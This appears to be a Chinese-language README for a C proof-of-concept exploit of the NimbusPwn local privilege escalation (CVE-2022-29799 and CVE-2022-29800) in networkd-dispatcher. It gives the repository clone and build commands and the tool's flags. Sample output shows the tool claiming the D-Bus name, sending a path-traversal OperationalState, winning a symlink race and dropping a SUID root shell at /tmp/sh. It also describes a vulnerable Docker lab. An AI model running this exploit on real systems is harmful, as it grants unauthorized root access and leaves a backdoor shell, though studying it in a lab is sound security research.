一个用于 NimbusPwn 的 C PoC,这是 networkd-dispatcher 中的一个本地权限提升漏洞。非特权用户声明 org.freedesktop.network1 D-Bus 名称并发送精心构造的 OperationalState。root 守护进程未对其进行清理(CVE-2022-29799,路径遍历),并且脚本目录上的符号链接竞争(CVE-2022-29800,TOCTOU)使其以 root 身份运行攻击者植入的脚本——释放一个 SUID root shell。
受影响: networkd-dispatcher < 2.1(在 2.1 中修复)。仅限 Linux。需要系统 D-Bus 和一个可声明的 org.freedesktop.network1 名称。
在 Linux 上构建(Kali 或目标机器)。它不能在 macOS/Windows 上构建或运行。
git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
[!NOTE] 其他发行版:
dnf install gcc dbus-devel pkgconf(Fedora/RHEL)或pacman -S gcc dbus pkgconf(Arch)。编译命令相同。
以非特权用户在受影响的宿主机上运行。
./nimbuspwn [-c] [-s SHELL]
-c, --check 非破坏性漏洞检查,不进行利用
-s, --shell SHELL 要 SUID 复制并以 root 身份生成的 shell(默认 /bin/sh)
-h, --help 显示帮助
先检查(安全,不植入任何内容,无竞争条件):
$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)
然后利用:
$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)
该竞争是非确定性的,因此会重试(默认 10 次)。在没有 /bin/sh 的宿主机上使用 -s /bin/bash。
一个自包含的易受攻击的实验环境(Ubuntu 20.04 + 有漏洞的 networkd-dispatcher 2.0)。无需 --privileged 或主机网络。
docker compose build
docker compose run --rm nimbuspwn-lab
# 内部,以用户 'pwn' 身份:
./nimbuspwn
2.0 版本的 dispatcher 已捆绑在 docker/ 中,因此构建不依赖任何外部下载。Dispatcher 日志:/var/log/dispatcher.log。
本工具仅用于教育和研究目的。创建者不对因使用本工具而导致的任何滥用或损害承担责任。